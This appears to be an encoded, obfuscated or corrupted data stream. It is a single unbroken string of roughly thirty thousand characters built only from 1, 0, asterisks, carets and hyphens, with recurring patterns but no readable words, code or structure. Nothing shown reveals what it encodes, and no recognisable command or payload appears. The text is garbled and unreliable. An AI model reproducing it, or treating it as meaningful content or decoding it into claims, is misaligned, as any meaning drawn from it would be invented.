1****11***01^1^1******0010101*01*******-0110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******0110110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0110110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********--------11***-00101*001^1*^1101********0010^11*00^1*^110101010-11*^1*01*1*01010^1*******001*011*10-0-*00--------00-**-00101*001^1*^1101********011010-*00^1*^1^11010-11**1*01*1*--------1^-1*-*-1*--------001011*00-00101*001^1*11011**********1*010-^^110^1011010^11*^1**01******00-*0010-**001*011*******1**-1101**^1011******001**0-101**01*101**011010-01*011*00--------1101101*0-00101*001^1*-01*1101*00101******0010---1011011011******011**0011*101**---------1011*0-00101*001^1*-01*1101**101*--------0^-1*-00^1*0-11*--------**01*-00101*001^1*^1101*****001^1*0101***1*010^101011010-11*-*001*1*********0^1*********1**0101*101*01^11*00^1101*^^-11*1*011011**001*00--------11*101*-00101*001^1*^1101*****001101^1^1*1*00^1^^1*****01***01011**1*11*001*1*0101*001101*--------010-01*-00101*001^1*0101*0-11*01^1*11****01**0110^11*01011*********-1********0-1*********00101101********010110101*********0101********00-011********01101^1********01^1******************************0-011*********101101********0011*0101*10101*001*1*********011*1*0-00^1*01^1*001****01**0-010^--*01*01^1*001****01**001**0--0-*001^1*001*******-1*10--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***01******001**010^1***0101***1^1^1*--------001**00-00101*001^1*01101*01010^1*******0011**0010-0-*00--------1^1**-00101*001^1*01101*--------^10-*-00^110101*0^-11*1*^1*****01**011*11**^^1*01*1*--------110101*00-00101*001^1*01011**********1*010-^^110^10110^1011*^1**01*******011**^-*001*011******0011**^-**0^1011******0011**011***01*101**011010-01*011*00--------0^101*0-00101*001^1*1*^101101010-11**1*01*1*1101*00101*******-0011*101*1**--------10^11*0-00101*001^1*^110^-^--0101^1^-11*0101101*1**010^1*-10-11*001*******-1*10--*0-10-11*001*******-1*10--*********101011*00^1*^101101010-11*-*001*1*1101**101*--------1^-1*-*-1*--------0010^1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^11010^10110-11*1*011*1*0011**--------10110101*-00101*001^1*01101*0101*001101*---------01101*-00101*001^1*1*^1*01010-11*011*001*1*01^1*11****01**0010^11*01011******************0010-101********-0-*********^11********0110-1********00^1*********-0-********00-0101********110-********00110-*********1101101********00-*********0011*0101*10101*001*1*********^^1*0-00^1*01^1*001****01**001**0--*01*01^1*001*******0-11010--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0-*******1***^1***0-***1^1^1*--------10-**-00101*001^1*0-1*01010^1********^1^1010-0-*00--------01^-*-00^1101******01010-*1**001*010^1*****001***11**001*001*01*1*----------*00-00101*001^1*01101**********1*0--00^11010^1*011011010^11**1******0011***01011*00^1011******0011**1011011**1*011******001101**00-**1*101**011010-01*011*00--------01^11*0-00101*001^1**11*1101*00101******00-1*1*10^--------0010-*0-00101*001^1**11*1101**101*--------01^-*-00^1101********0^1^1*00^1*^1*****01**0101***0^-*001*1*--------1*^1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^110^^1010-11*1*01^1**11**--------01010101*-00101*001^1*^1101*-^-11*1*^1********0101*1*001*11*001*1*0101*001101*--------0-1101*-00101*001^1*0101*0-11*01^1*11****01**0^^11*01011********-1********************11*1********001101011********0^1101********0-0-********0-^1*********010101********-0011********0-0011********01*0101********1101*0101*10101*001*1*********01*01*0-*001*01^1*001*******010101010--0-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0011*******1***1*****1***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11***0010101*01*******1010110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1010110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******0010110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0010110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******1^110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1^110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*--------001101*00-00101*001^1*^1*0-11*01010^11011******0-1**10-0-*00--------00-1*00-00101*001^1*^1*0-11*--------1^-1*-0011011*--------110^1*0-00101*001^1*01011**********1*010-^^110^1011010^11*^1**01******001101*011*101*001*011******0011**1*0-*00^1011*******1**-^11*001*101**011010-01*011*00--------0^-*0-00101*001^1**11*1101*00101******00----011011011******011**0011*101**--------011*01*-00101*001^1**11*1101**101*--------0^-1*-*101*0-11*---------0^1*-00101*001^1*-01**********1*********01**0101*101*01^11*00^11010-*10-11*1*011*1*0011**--------*01101*-00101*001^1*^1*0-11*0101*001101*--------110-01*-00101*001^1*01101*01^1*11****01**01*0011*01011********11*01********011*01********0^11*********0010^1********110-*******************01011*1********001*01********11*01********0-0101********0^-*********-**********11*0101*10101*001*1*********101*1*0-*1101*01^1*********1***-001*1***001**0101***********0-**00101***1^1^1***00-----10--110--*-00101*001^1*^1101*****001^10^-011**1*010^1**10-11*^1*01*1*01010^-*00--------1^-1*-0010-*---------01**-00101*001^1*^1101*001*-11*1*^1*****01**0-0-**1*001*01*1*********0^1*010-0010-01*011*^1*0--------1*11*00-00101*001^1*00-*1011**011010^1**1*001011*00101101010^1*01**101**0110^-^--01**010-11*^110101*^1********-1^1*001*01****01*****0--*10^-0-10-11*001*******010101010--0110-10-11*001*******010101010--0-01*011*00--------00^11*0-00101*001^1*11011*1101*00101****1**0-*01*101*1**--------1^-*0-00101*001^1*11011*1101**01*01********1^^10101*0--101**0^1*--------1^-1*-*0011*--------1101*1*-00101*001^1*1*^-1*10-11*-*001*1*********0011*********01**0101*101*01^11*00^110^1101*1*011*1*0011**---------00101*-00101*001^1*^1101*****001*011*001**00^1^^110-^-11*011*001*1*0101*001101*--------110-01*-00101*001^1*01101*01^1*11****01****011*01011********010-01*********1*1********001*1*********0-01********01*1*********001^1********10^11*********01^1*******************110101*********00^1********0-**********11*0101*10101*001*1*********101*1*0-00^1*01^1*001*******-1*10--*01*01^1*001*******0-11010--0-*001^1*001****01**0-010^--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***1*******1**0110101****01**001^1^1*******************00101*1******01**-*******1**11010101*****01**011*11********001********************0011*01*****0011***10101*****01**00^-******1**011011*********1**********************101*****0011**101011*********1101011*****001**-1101********001********************0010-01******1**10101101********-101******01**011*01********01********^1101*001***010101*11***************************************************************101*00101*10-00^1*1*-00^1^1**11*00-0110101******001^^-110110-*00--------1^-1*-00^11*--------110^11*-0010^^1^1*1*^11*-0-11*1011*01*1*********0011*0^-00-******************************************-1**********11**********11**********11*********-*00101*1010^^1*1*10^^1^1*01011*********101*1010-011*************************************************************0101*00101*1011*^1*1*11*^1^1*01101*00-0110101******001^^-11011*1*001*1*--------1^-1*-*1101*--------0-0011*-001*0^1^1*11011**********1*0^-*01*001*1*********00-*********10101*******************************-********************0-*********-*00101*101*0^1*1*1*0^1^1*^11*********11*01010-011*************************************************************0101*00101*10-11*1*1*-11*1^1**11*00-0110101******001^^-110110101*001*1*--------01^-*-00^1101*****00---^11**0^1^^1********-01011*00^1*1*1*1*--------0-0011*-0010-*1^1*01101**********1*0^-00101*001*1*******************00^101********00^101*********1*1******************************01*1********00-*00101*1010-*1*1*10-*1^1**11**********0101010-011*************************************************************0101*00101*1011011*1*1*11011*1^1*01011*00-0110101******001^^-1101^11*001*1*--------01^-*-00^1101*****00^10-^1*1*00^1^^1*****01**010-**00^1*1*1*1*--------1*0011*-00^11*1^1*^1101******1*00^11***^1^^1********11*-*00^1*1*1*1*********10101*^-*11*001*1*******************00-101******************************011011*******************0011011********00-*00101*10^11*1*1*^11*1^1*00-*********10-01010-0110101*0110101******1101101*010^^1*0-11*00101010-11*011*001*1**************************************************************0101*00101*10-01*1*1*-01*1^1*-01*011*001^1*0101****1**00-*01^-0101*001*1**************************************************************0101*00101*1010101*1*1*10101*1^1*-01*101*001^1*0101****1***101^1^-001101*^1**1*001*1**************************************************************0101*00101*101^1*1*1*1^1*1^1*01101*001*001^1*0101******0011*00-00-001**--------*-*00-**1*1^1*^110^-^--010101^10-11**0011*10^1*00110-11*001*******010101010--*10^1*****001**10^1**01*01*******010101010--******1**10^1**01*01*******010101010--******^10^1*-*00^1^^1********00101101*00^1*1*1*1*1011*0110101******11*101*101******11**-0011**1******11**010^1**^110101******00-01*0101******01**01011011*001******01**10-001*00^-*00110101******011011*00101******11**1*0011*001******11***01101*00^-*00-*00110101******11*01*0101******11**0101101**1******11**00^11**^-01*-*00--------1*1101*-**1*1^1*01101*110101******0^101*0101******11**010-**01******11**-0011**1*001*0-**011*011**110101******0^101*0101********00-01011*001********001101*1*00^11**-*******************************10^101*******************-011********00-011*********1101********00-*00101*1*001*1*1**01*1^1*00-*-----10--10^1011*-00^1*01^1*10-**********1**0-00--------0^-1*-*011*0-11*-----10--101^-*-00^1*01^1*^1101********001*011*00^1*^1*-00-11*0101*01*1*********0^1*^-001**00--1^11*-*001*1*--------01***-00^1*01^1*01101*-*001^1*-01*--------1^-1*-*1101*--------1^1**-00^1*01^1*^1101*****00^10-1^-1*001*010^-101*0-*01*1*********1*1*^-001**00--101101*-*001*1*--------0-01*00-00^1*01^1**11*-*001^1**11*0101**101*--------01^-*-00^1101******--**1**01*010^1********001*01*001*-*01*1*--------0-001*0-00^1*01^1*^110101*^101101*1011*01*1*1*^-011*-11*1011*01*1*********1*1*^-001**00---101*-*001*1*--------^1011*0-00^1*01^1*-01*-*001^1*^11*1101*0011*******0101**0101******01**^-11*001******01***10-*00^--------01^-*-00^110101*^1*0-0-11*0011*01*1*1*^1********-1^1*001*011*01*1*---------0^1*-00^1*01^1*^1101********00^1011*00^1*^^-*-11*1101*01*1*********0^1*^-001**00--1*11*-*001*1*--------1^1101*-00^1*01^1*^110^-1^-11*1*^^-110-11*0101*01*1*-*001^1*01101*********11010-*******************1^-*********-01********-0^1********0^1*********1*001*********0-01********1*001********00101*1********-0^1********00-01********011*011********1011*0101*10^1*01*1*^1*01^1*1101*0-11*0-*01^1*001*******-1*10--01011*01^1*001****01**0-010^--*11*01^1*001*******0-11010--01101*01^1*001****01**001**0--00101*01^1*001****01*****0--01*1*1^1*001****01**0^110^--001101*01^1*********1***-001*1***001**011********1*001^-****1**001^11011*1*******0010101*********011*******11***-01*****011**^11*********-1^1******************************1101******11**^1011*****001**0101^1******1**00-*********01**1*******0010101*********011*******11***101*********0-011*****001**001^1*****************1^101*001******10101*001*01*1*------0-1^10-1*-00--------1101101*0-*-1*1^1*01101*--------00110-*-00^110^-1*-11*1*^-*110-11**01*1*1*--------*0-*0-*-1*1^1*^1101******00^101^101**1*010^-0-00-11**00^1*1*********0^1*^-001**00--1^11*0101*01*1*--------0011*1*-*-1*1^1*^1101******11*0^101**001*010^101101**00^1*1*0101*01^1*-01*--------1^-1*-00^11*--------01^101*-*-1*1^1*1*^-110110-11*-11*1*1*********0011*0^-001**00--101101*0101*01*1*--------00-101*-*-1*1^1*0-1*0101*01^1*^11*010101*11**********1^11********00-011********010-1********001011******************************001011*********0^101********0010-1*********1**********1011*********01^-*********11*0101*^-1*1*1*0-1*1^1*10-***********0010-01101^1*********11*0010-011*************************************************************0101*00101*1*-*1*1*00-*1^1*^11*00-0110101******001^^-11011011011******0-101*1101*0--1^1*00^1***************************************************001011*********0101*00101*^1011*1*1*01011*1^1*-01*********00110^10-0---------01^11*-*0011*1^1*01101*-----10---^-010-*101****01**0110-*010^^1*00^1***************************************************************101*********011*00101*1*011*1*1**11*1^1**11***********0010-01101^1*********11*0010-0110101****01**00101*-101^11****001**1*1^1^-0011****01**0010-01*101*1**011****01**00-00--0110-*001*1*011****01**00^10--0110-*001*1*110101******0-101*0101******1***-1**01******1**00-***1*11****01***1^--0110-*001*1*011****011**10-001*10^1101**-^1*^^^11**1*0101*-01*10-*011****01***0010--0110-*001*1*011**********010101010-0---------^-1*-*1011*--------**01*-0010101*1^1*01101**********1*0^-00110101******010-1*0101******11**-*1**1******11**0011011**1*11****01**00-00--0110-*001*1*--------1^-1*-*1011*--------^10101*-0010101*1^1*^1101*********010101*00^1*^1*****01**01^^1*001*1101*1*1*********10101*^-00110101******010-1*0101******01**10^11**1******01**0-001**1*11****01**00^10--0110-*001*1********************11011********************^11*******************011011*******************0-1101*********01*0101*1010101*1*1*10101*1^1*10-*-*001^1*0101****01**1010-*010^^1*00^1*********11010-*-******************************101******************************************11*00101*101^1*1*1*1^1*1^1*01101*^1*01^1*0101****01**0010-0-101^11*001*1*011*001^1*110101******^-10-1011*1*001*1*101*001*1*101*001^1*011****001**001^101^-0-----10--11*0101*-00-1*01^1*^1101*-00--01011*010-11*1*01101*^1********11*011*001*01****01*****0--01*^1*****01**0-1^1*001*01*******0-11010--*****001**0-1^1*001*01*******0-11010--*****001*010-*001*00^1^^1*****01**01*^1*00^1*1*1*1*001*001^1*011****01**0--01*10^^1*0110101******00101**101*********01^11*001********00--01*001*001*01011*00101******00101^1*0101*01****01**0-00-*010-0^^1*******001*0^1011*1*01*-11******001**-^-0-011*1*01^1*011*00--------0^-1*-00^1*0-11*--------10101**-00-1*01^1**11**********1*0010-00110101******-01101*101******01**11*-*001******01**101*01*001*001*0--------0^11*00-00-1*01^1*1101*0-11*0011*0110101******--*00101******01**1011011**1******01**1^-**1*11*******011**00101*0-*-*001011010-*0-11*01*001*********0011011*00^-*******11**10^^10-011*1*01^1*011*00--------0^-1*-*101*0-11*--------1101011*0-00-1*01^1*^110101*^-001010-11**01*1*1*1*^1*****01**011010101*001**1*1*1*********10101*010-00110101******-01101*101******01***11**001******01**--1**^-*00--------1010^1*-00-1*01^1*1*^11*-0-11*1011*01*1*1101*0110101******--*00101******01**0^-1*001******01**00110-*001*11*******00101011*10^^-*011***101**1**^^11*11010110-11*011****01**0010^11*10^1*1*-11**-10-11*00-*-11*********-0^1********1011011********011*011******************00-0^1********10^11*****001***0101********0010^11*******************110-01*********101*********01011*********011*0101*10-1*01*1*-1*01^1*0-1******011**01^110^-001**00--1*11*0101*01*1*---------1^1*-*011*01^1*01011*0101*01^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*1011*--------01101101*-*011*01^1*^1101********010-001*00^1*^1********10101101*00^1011*01*1*********10101*^-001**00---101*0101*01*1*******1*00-**00-*101*01^1*01101**********1*********0101101*********-11*********-11*********001**********01********************-*00101*1*11*01*1*0011*01^1*01101*1011*01^1*001****01**0-010^--01*1*1^1*001****01**0^110^--*001*1^1*001*******0-11010--001101*1^1*001****01**001**0--**^1^1*001*******010101010--0-11*1^1*001****01*****0--001101*01^1*********1***-001*1***001**001********1**-011****1**001^11011*1*******0010101*********011*******11**^^11*****011**1*011*********01011******************************01101******11**010-1*****001**01^1011*****01**0-00101********01*********************01101******11**1^1******01**00-01******1**010^-********01**1*******0010101*********011*******01**101*11*********01101*****001**10101*****************00^1101*00^1010^^1*01*1*------0--00-1*0-00-----10--10^-1*-*0^^1^1*^1101******010^101***001*010^1*****01**0^11**00^^10^1*1*--------01^-*-00^1101********00101^1*00^1*^1********^^11*00^-00^1*1*--------01011**-*0^^1^1*00-**********1*0^-001**00--1^11*0011*01*1*--------001101*00-*0^^1^1*^1101*110110-11*1*^1*****01***^101*00^10^^1*1*0011*01^1*-01*--------^10-*-00^1101******00^^1010-*001*010^-001*-11**10^1*1*--------1*101*0-*0^^1^1*^1101********01^1101*00^1*^^1^10-11*-00^1*1*********0^1*^-001**00--101101*0011*01*1*--------1011011*0-*0^^1^1*11011010^11*1*^-1*10-11*1*1*1*1*0011*01^1**11*0101*00101****01**0^1*1^-0--------^10-*-00^1101*******0-101*01*00^1^^-1^10-11*01^^1*1*--------0010^1*-*0^^1^1*1101*0-11*********^1*0^-001**00---101*0011*01*1*---------00101*-*0^^1^1*^1101********0010^11*00^1*^1*****01**00-*1*00^10^^1*1*0011*01^1*^11*010101*11*********************101011********10-1********00-^11*******************010101********01010^1********010-01********01011*********01011*********0010101*******************01************01********0-*0101*1*^^1*1*00^^1^1**11***********0010-01101^1*********11*0010-011*************************************************************0101*00101*^1*^1*1*01*^1^1*01011*00-0110101******001^^-11011011011******0010101*1101*0--10101*00^1*******************001011*****************************************0101*00101*1**^1*1**00^1^1*01101*********00110^10-0---------01^11*-*-1*1^1**11*-----10--11*01^10-*101****01**-1011*0101*101*00^1********************0101********************0101********************0101*********011*00101*^-1*1*1*0-1*1^1*11011*00-0110101******001^^-11011011011******0101101*1101*0---01*00^1**************************************************************0101*00101*1*-*1*1*00-*1^1**11*********00110^10-0--------11**11*-*1011*1^1*^1101********011*101*00^1*^1********1011*1*00^1*1*1*1*--------1^1*010-*101****01**1^-*010^1101*00^1******************************01*01******************************1*01*********11*00101*^1011*1*1*01011*1^1**11***********0010-01101^1*********11*0010-0110101****01**00101*-101^11****001**1*1^1^-0011****01**0010-01*101*1**011****01***1*--011*01*01*1*011****01**0011*--011*01*01*1*011****01**001*0--011*01*01*1*011*********001*1^10-0---------^-1*-00-01*--------^1*1*-00-01*1^1*01011**********1*0^-00110101******010-1*0101**1*-11*110-00-11*011****01***1*--011*01*01*1*--------1^-1*-00-01*--------00110101*-00-01*1^1*^1101010101^-11*1*^1*****01**00^^1*001*0011*1*1*********0^1*^-00110101******010-1*0101******1**01010-1*001******1**00-1011*001*11****01**0011*--011*01*01*1******************************01101101********00110101********01101101********01^11********001101101********01**1*********1*0101*10-01*1*1*-01*1^1*10-**1*01^1*0101****01**0^-*010^1101*00^1*********--01*-******************************101********************0101********************0011*00101*1010101*1*1*10101*1^1*11011*1101*01^1*0101****01**1*-0-101^101****01***0-*010^-**^1*-*001^1*0101****01**0-011*0101*101*00^1******01**01*-*0-*********-********************101*******************************0-*********0011*00101*101^1*1*1*1^1*1^1**11*0101*01^1*0101****01**10110110-101^11*001*1*011*001^1*110101*******-10-1011*1*001*1*101*001*1*101*001^1*011****001**001^101^-0-----10----011*-**1*1^1*1101*0-11*001*001^1*011****01**0--01*10^^1*0110101******00101**101******11**0^^1*001******11**1*0-*001*001*01011*00101******00101^1*0101*01****01**001^-*010-0^^1*******001*0^1011*1*01*-11******011**1011*110-0-001*01^1*011*00--------1^-1*-*0-*--------1*01*00-**1*1^1*0-1**********1*0010-00110101******-01101*101******11**001*1**1******11**01*1**01*001*0--------0-11*00-**1*1^1*0101*0-11*0011*0110101******--*00101*********01^11*001*********^1011*001*11****001***1^1*101*0011*01*11011**^1^10^1101*001*0101*-*******11**0-10-0-0-001*01^1*011*00--------1^-1*-*0011*--------0^-*0-**1*1^1*-01**********1*0010-00110101******-01101*101******11**10110101*001******11**010^11*00^-*00---------1*1*-**1*1^1*^1101*-*-11*1*^110-110-11*1*1*1*1*1101*0110101******--*00101*010-0-11*01010110-11*011*******00101011*10^^-*011***10-0^1**1*-1*********01^-*001*11****01**0010^11*101*********010^1*001********0010--*001*0-*-11*********01010-********1101*1*******************-0101*******************1101101********1101*1********1*-1********010-********0010^11********010-01********01*-1********0011*0101*1*001*1*1**01*1^1*10-******011**11*0-00-001**00--1*11*0011*01*1*******1**1*001*-*011*01^1*01101**********1*********************1*********************1*********0101*00101*^-*01*1*0-*01^1*-01*1*1*1^1*001****01**0-010^--*011*1^1*001*******0-11010--0^10^1^1*001*******010101010--*010^1^1*001*******-1*10--0-00^1^1*001****01*****0--001^^1^1*001****01**0^110^--010^^1^1*001****01**001**0--001101*01^1*********1***-001*1***001**01********01**0010-***11***1^11011****10101*11*00-----10---0-01*-001011*010-*-----10--101*011*-001011*0^1101*****00^10-10-11**^1^^1*****01**010-**001*001*01*1*--------*0-1*-001*^--*-11*-*001*1*-----10--1*00-*-001011*001011*********-*00^-001**00--101011*-*00-----10--1*0-1*-001011*01101101*-*1*^1********11*101*001*11*001*1*1101*0-01*--------0-0-*-00^110^1^^-11*1*^1^11*011*001*1*--------0-**0-001011*00101*0-11**********1*0^-001**00--101101*-*00---------11**-001011**-*1101**011*0101*00101****01**0^1*1^-0--------10110-*-00^110^10-10-11*1*^1*-10-11*011*001*1*--------110-*00-001011*0-01*********-*00^-001**00---101*-*00--------110^1*0-001011**11*0-11*1101*001011*0101****01**1^1*-101^11****01**00-1101*101*1**011*00--------01010-*-00^1101********001*-*00^1*^10-1^-11*101*001*1*--------1*-*0-001011*00-1*********-*00^-001**00--1^11*-*00--------1**1*-001011*01*^^1*10-11*001*001*1*1101*0^11*0101****01**1^1*-101^11****01**010-101*101*1**011*00--------1^-1*-00^1*0-11*--------1*0101*-001011**011*********-*00^-001**00--1*11*-*00--------1*1101*-001011*001101*1101*001101*********-1011********0--11********01**********-1011********010^11*********0-01********^-********00^1101********0^1*********01101^1********010^11********00^-********************01*********011*1*********-11*********01*101*10^1*01011*0^11**1*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001****01*****0--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**********01**01^-***11***01^1^1****10101*01*******0^110110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0^110-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**0110-01*101*11*******011**0010^10-*-*001011010-*011*-01*001*********0010101*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1********-----10--^--*-*01*001^1*^1101********00101*1*00^1*^1*****01***1101**01*11*001*1*01010^1*******0011**0010-0-*00--------1^-1*-00-01*--------0-1**-*01*001^1*^1101******1*0-10-1**1*010^1*****01**0101^11*00^-*001*1*********10101*010-0010-01*011**1*0--------110-*00-*01*001^1*^110101*^1*****01***1011**01*11*001*1*1*^1*****01**0-101**01*11*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00---------1101*0-*01*001^1*^1101******-01011*11**0^1^^101101^-11*101*001*1*1101*00101****1**0-1*0-1011011011******011**0011*101**--------10-11*0-*01*001^1*01011*1101**101*--------1^-1*-0011011*--------1011*1*-*01*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101010-010-11*1*011*1*0011**---------00101*-*01*001^1*^1101********1^10-*00^1^^-010110-11*101*001*1*0101*001101*--------110-01*-*01*001^1*10-*01^1*11****01***0-01*01011*******************-*1********01*01********01*1101********0-*********00^-*********1^1********00101011*********1^1********01*1101********01*1*********00-01********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001*******010101010--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0--11*****01**010^1****1***1^1^1*--------10101**-*01*001^1*0-1*01010^-*00--------1^-1*-*-1*--------10^1*00-*01*001^1*^110101*^^-110-11*-*001*1*1*^^-110-11*-*001*1*********0^1*010-0010-01*011**1*0----------*00-*01*001^1*^1*0-11*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------0010101*0-*01*001^1*11011*1101*00101******00-10101*10^11**01**--------00^11*0-*01*001^1*^1101*********00^1*00^1*^1*****01***110101*001*11*001*1*1101*0--0010110-^1*^10-110^^10-0--^1*01*11*^--------0^-1*-*101*0-11*--------0101*1*-*01*001^1*1101*0-11*********^1*********01**0101*101*01^11*00^1101*1^10-11*1*011*1*00101*00--------00^101*-*01*001^1*^1101*****00110-101101101**1*010^1*****01**010-11**^101*001*1*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****01**0-01101*01011********011*1********010^11********00101*1********10^1**********101*********110101********1010-********01010-********00-*********010-11*******************01010101********0011*0101*1*1*001*1*********101*1*0-00-*001^1*001****01*****0--0011*001^1*001****01**001**0--0101*001^1*001*******010101010--001101*01^1*********1***-001*1******00--1*****01***11****001***1^1^1*010101*101******001011*-110110-**101******00-1*1*10^-----1010-1^101101*-00^1*01^1*^1101******0011*1^1101*001*010^1*****001**^-**01**1*1*1*-----1010--00^11*-00^1*01^1*1*^^-*1011*01*1*--------0^-1*-*1010^-11*-----1010--1011011*-00^1*01^1*^1101******00-**-**1*010^1*****01**00-0011*001**1*1*1*********10101*^-001**00--1*01*-11*-*001*1*-----1010--10-11*-00^1*01^1*^1101******110-0-^1**1*010^1********10-001*001**1*1*1*-*001^1*-01*--------0^-1*-0010101*-11*------0-1101011**-00^1*01^1*01*^-11*********^1*0^-001**00--101101*-*001*1*------0--01101*00-00^1*01^1*^1101**********011*00^1*^101*110-11*-1*01*1*-*001^1*^11*1101*01*******001*0^1011*1*11010-01*^11010-01*^101^-*101**--------01^-*-00^1101*****001*10101010101**^1^^1*****01**0-01**001*-*01*1*------0-1101*11*0-00^1*01^1*1*^--110-11*1011*01*1*********0011*0^-001**00--1*11*-*001*1*------0-11*-1*0-00^1*01^1*^1101*****001^1011*^11*001*010^110101010-11**01*1*1*-*001^1*0101*0-11*0101**01*0--------^10-*-00^1101011011*-11*1*^1*****01**0101101**0^1101*01*1*------0-11*00101*-00^1*01^1*^1*0-11*********^1*0^-001**00--1^1*0-11*-*001*1*------0-1^101101*-00^1*01^1*0^1*-11*-*001^1*1101*0-11*011*001^1*0101****1***0-001^-0--------0^-1*-*^1*-11*------0---0011*-00^1*01^1*^1101*******110-*001*001*010^1********0^-1*001**1*1*1*********10101*^-001**00--10101*0-11*-*001*1*------0---0-*-00^1*01^1*-01*-*001^1**11*0101*00101******00101^1*0101*01****01**010^-*010-0^^1*******001*0^1011*10-1*--------1^-1*-00-01*-----^--0^1**-00^1*01^1*00101*-11*********^1*0^-001**00---101*-*001*1*-----^--10^1*00-00^1*01^1*01101*-*001^1*10-*-----^--*011*00-00^1*01^1*00-*-11*00-001011****01**010-011*101******1***110-*001******1**0^-11*001**011011*11010-*-1101**********001*00^1*^1^1*0011***011011*11011011*-1101**010-11*1*^1^1*0011***011011*110^11*-1101**^-11*1*^1^1*0011***011011*110-01*-1101*001*-11*1*^1^1*0011***01^1*110-01*-110^-1*1*^1^1*0011***01^1*110^11*-110^1011*1*^1^1*0011***01^1*11011011*-1101*011*1*^1^1*0011**1*11010-*-11010-01*1*^1^1*0011*00^1**01*0--------^10-*-00^110101*^1*0-0-11*1011*01*1*1*^1*0-0-11*1011*01*1*-----^--1*0101*-00^1*01^1*1*^1^10^-11*0101*01*1*********0011*0^-001**00--^-*-*001*1*-----^---01101*-00^1*01^1*^1101*****00101*001*1011*001*010^101^110-11*0011*01*1*-*001^1*^1*0-11*--------01^-*-00^1101******00-*^1101*00^1^^1********10-011*001*-*01*1*-----^--*00-*-00^1*01^1*1*^1*****01**0101***01*101*01*1*********-1*00-1^10-*^1*0--------^10-*-00^1101******01011*101^1*00^1^^--^-11*0-*01*1*-----110--011**00-00^1*01^1*^1101*******0^11*01**1*010^101011*-11*0011*01*1*********0^1*^-001**00--10-1*-*001*1*-----110--01*1*00-00^1*01^1*1*0^-11*-*001^1*0-*0-11*001*001^1*011*001*1*--------0^-1*-001*0^-11*-----110--010-*00-00^1*01^1*1101101010-*1*^110^^-11*1011*01*1*********0-*0^-001**00--11011*0-11*-*001*1*-----110--1^101*0-00^1*01^1*11011*-*001^1*0011*0-11*110101******0-11*00101******11**1101^1*001******11**1011*1*00^-01*011*001*1*--------1^-1*-0011011*-----110---0-*0-00^1*01^1*^1101******1**1101*1*00^1^^-10-0-11*0-*01*1*********0^1*^-001**00---01*0-11*-*001*1*-----110--0010^1*-00^1*01^1*^110101*^-*110-11*-1*01*1*1*^^101*-11*-1*01*1*-*001^1*11011*1011*001101*--------0^-1*-*-*0-11*-----110--0^1101*-00^1*01^1*^1101*********1^11*00^1*^1*****01**0-01101*001*101*01*1*********10101*^-001**00--101011*-*001*1*-----110--1*1011*-00^1*01^1*01011*-11*-*001^1*-1*0-11*101*001^1*110101******11*101*101******1**0-01011*001******1**0010-11*001*0101*011**01*001*1*--------0^-1*-*1011*-11*-----110--010-11*-00^1*01^1*01^^-11*********^1*0^-001**00--10-*0-11*-*001*1*-----10--10-**0-00^1*01^1*-11*-11*-*001^1*1011*0-11*110101******11*01*0101******01**-1*1*001******01**1*1101*001*0011*011*001*1*--------^10-*-00^1101*****0011*0-1010-*00^1^^1^11*-11*0-*01*1*-----10--110-1*00-00^1*01^1**11**********1*0^-001**00--^11*0-11*-*001*1*-----10--1*0101*0-00^1*01^1*1*^10^1010-11*1011*01*1*-*001^1**01*-11*-----10--1*0011*0-00^1*01^1*-01*-11*01^1*101****1**011011*-101^1101*-*00^101^-*101**01101*01**101*001*1*--------^10-*-00^1101*****00110-0^-1**01*010^1^-00-11*0011*01*1*-----10--1*1*1*-00^1*01^1*1^1*-11*********^1*0^-001**00---11*0-11*-*001*1*-----10--^-001*-00^1*01^1**10^-11*-*001^1*00-*-----10--1*10101*-00^1*01^1*-1*0-11*--------^10-*-00^1101*****0011*0-01^11*001*010^--010-11*0011*01*1*-----10--11*0011*-00^1*01^1**01*-11*********^1*0^-001**00---011*-*001*1*-----10--^101011*-00^1*01^1*0101*0-11*-*001^1*01011*0011*01*******001*0^1011*10-1*--------11*-*-00^110101*^1*****01**001*11**^1101*01*1*1*^1*****01***0-**0^1101*01*1*-----10--110--*-00^1*01^1*11*^-11*********^1*0^-001**00--1^11*-*001*1*--------*01**-00^1*01^1*01011*-*001^1*0-1*1011**011010-01*^1*0--------1^-1*-*1011*--------10^1*00-00^1*01^1*1*1*-11*********^1*0^-001**00--110-*-*001*1*--------*-*00-00^1*01^1*110110^1011*1*^-010^-11*0101*01*1*-*001^1*01101*****************001****1********1*0101********10110101******1*001010-*****001**00110101*****001***011011*****011**1010^1********01*11******01**11011******01**-001******01**01101******01**0110-******01***-01********1*1******011**^11*******1*001010^1*****01***0-1******01**0-*********^-11********^10-*****01**00-^1******1**-001